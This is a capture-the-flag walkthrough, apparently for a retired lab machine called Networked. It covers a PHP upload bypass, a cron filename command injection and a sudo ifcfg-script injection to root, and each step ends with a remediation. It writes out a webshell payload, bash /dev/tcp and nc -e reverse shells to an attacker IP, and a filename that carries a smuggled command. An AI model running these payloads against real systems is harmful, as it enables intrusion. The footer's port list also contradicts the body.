← all walkthroughs

Networked

Linux· Easy
owned
2026-06-29
time to own
8m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a PHP file-upload page whose only validation was file extension and MIME type. By uploading a PHP webshell renamed with a double extension (shell.php.png) and a GIF magic-byte header, both checks were bypassed and the Apache server executed the embedded PHP code.

A cron job owned by a local user (guly) processed filenames in the uploads directory by passing them to a shell call without any sanitisation, so a file whose name contained a semicolon followed by a shell command ran arbitrary code as that user. Finally, guly held a passwordless sudo right to a network-configuration script that sourced interface parameters verbatim as shell variables; injecting a command into the NAME prompt escalated privileges to root.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconPort scanning / web directory enumeration
Mapped open services and discovered a PHP web application
A TCP port scan of $TARGET revealed an HTTP server on port 80. Directory enumeration uncovered two PHP endpoints — upload.php (a file-upload form) and photos.php (a gallery viewer) — and the /uploads/ directory where accepted files are written.
Exact commands 2
Full TCP scan with service and version detection.
nmap -sV -sC -p- --min-rate 3000 $TARGET -oN nmap_full.txt
Discover upload.php, photos.php, and the /uploads/ storage directory.
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -o gobuster.txt
2Foothold — upload bypassUnrestricted File Upload / MIME type spoofing (CWE-434)
Smuggled a PHP webshell past extension and MIME checks using a double extension and forged image header
The upload form accepted a file only if its last extension matched an approved image type (.jpg, .png, etc.) and its content-type looked like an image. By naming the payload shell.php.png the last-extension check passed. Prepending the four GIF magic bytes (GIF89a) made the server-side MIME sniff see an image. Crucially, Apache's mod_php was configured to execute any file whose name matched *.php* regardless of trailing extension, so requesting the uploaded URL caused the server to run the embedded PHP code instead of serving the file.
Exact commands 3
Craft the payload: GIF magic bytes satisfy the MIME check; .php.png passes the extension whitelist while mod_php still executes it.
printf 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.php.png
Submit the crafted file. Confirm the server reports a successful upload.
curl -s -F 'myFile=@shell.php.png;type=image/gif' -F 'submit=go' http://$TARGET/upload.php
Trigger execution. Expect 'uid=48(apache)' in the response, confirming RCE.
curl -s "http://$TARGET/uploads/shell.php.png?cmd=id"
FixValidate uploaded file content and serve uploads from a PHP-execution-free locationCritical
WeaknessThe upload handler accepted any file whose last extension was on the image whitelist and whose first four bytes looked like a GIF header. An unauthorised user can forge both checks in seconds, smuggling executable PHP code onto the server.
FixRe-process every uploaded file server-side using PHP GD or Imagick: decode and re-encode the image to strip all non-image data before writing it to disk. Store uploads outside the web root, or serve them from a directory configured with 'php_flag engine off' so Apache cannot execute their contents. Reject any filename that contains more than one dot or any .php component before accepting the upload.
3Foothold — reverse shellWeb shell / OS command execution
Converted webshell access into an interactive reverse shell as apache
With confirmed remote code execution through the uploaded webshell, I issued a bash reverse-shell one-liner via the cmd parameter, opening a persistent interactive session as the Apache service account (uid=48). This provided a stable platform from which to explore the server.
Exact commands 2
Start a listener on your attack machine. Substitute your HTB VPN IP for $ATTACKER_IP in the next command.
nc -lvnp 4444
Trigger the callback through the webshell's cmd parameter.
curl -s -G "http://$TARGET/uploads/shell.php.png" --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'
4Lateral movementCron-based command injection via unsanitised filename passed to exec()
Injected a shell command via a malicious filename into guly's cron script
Reviewing the server revealed a cron job running every few minutes as local user guly: it executed /var/www/html/check_attack.php, which iterated over every file in /var/www/html/uploads/ and passed each filename directly to PHP's exec() without escaping or quoting. I created a file whose name began with a semicolon, turning the exec() call into two shell commands — the original and an injected reverse-shell payload — so when the cron fired, guly's session connected back to me, yielding the user flag.
Exact commands 3
Run from the apache shell. Substitute your HTB VPN IP. If nc lacks -e, use: touch '/var/www/html/uploads/;bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1" .php'
touch "/var/www/html/uploads/;nc $ATTACKER_IP 4445 -e /bin/bash .php"
Wait up to ~3 minutes for guly's cron job to fire and connect back.
nc -lvnp 4445
Retrieve the user flag — value: <user.txt>
cat /home/guly/user.txt
FixSanitise filenames before passing them to shell calls in check_attack.phpHigh
WeaknessThe cron-driven PHP script passed raw, externally controlled filenames directly to exec() with no quoting or escaping. Any user who can write a file to the uploads directory can embed shell metacharacters in its name and run arbitrary commands as the cron-job owner.
FixWrap every user-controlled value passed to exec() in escapeshellarg(). Better still, replace the shell call with a native PHP equivalent that never spawns a shell. Separately, restrict write permissions on /var/www/html/uploads/ so that the apache service account cannot create files that a higher-privileged cron script later processes.
5Privilege escalationSudo misconfiguration / shell injection via sourced ifcfg network script
Injected a command through a passwordless sudo network script to become root
The guly account was permitted to run /usr/local/sbin/changename.sh as root without a password (NOPASSWD in sudoers). The script prompted for network interface parameters (NAME, ONBOOT, BOOTPROTO, IPADDR), wrote them into an ifcfg file, and then sourced that file as a shell script. Because NAME was never quoted, entering a value containing a space — for example 'guly bash' — caused the shell to execute the second word (bash) as a separate command in the root context, immediately opening a root shell.
Exact commands 3
Confirm the relevant entry: (root) NOPASSWD: /usr/local/sbin/changename.sh
sudo -l
Launch the script. At the NAME prompt type: guly bash — the shell splits on the space and executes 'bash' as root. Enter any values for the remaining prompts (e.g. ONBOOT=yes, BOOTPROTO=none, IPADDR=&lt;an-address-on-that-network&gt;).
sudo /usr/local/sbin/changename.sh
Run inside the spawned root shell to confirm uid=0 and capture the root flag: <root.txt>
id && cat /root/root.txt
FixRemove or harden the passwordless sudo right to changename.shCritical
WeaknessThe user guly could execute a root-owned network-configuration script without a password. The script sourced user-supplied interface parameters directly as shell variables without quoting, so a space-delimited value in the NAME field caused the shell to execute the trailing word as a root command.
FixRemove the sudo rule for changename.sh if it is not operationally required. If the script must remain, rewrite it to validate each field against a strict allowlist (e.g. NAME must match ^[A-Za-z0-9_-]+$) and double-quote every variable reference in the ifcfg template before writing or sourcing the file. Audit all sudoers rules that source, eval, or execute files writable by lower-privileged users.

Exposed services

445/tcp
4386/tcp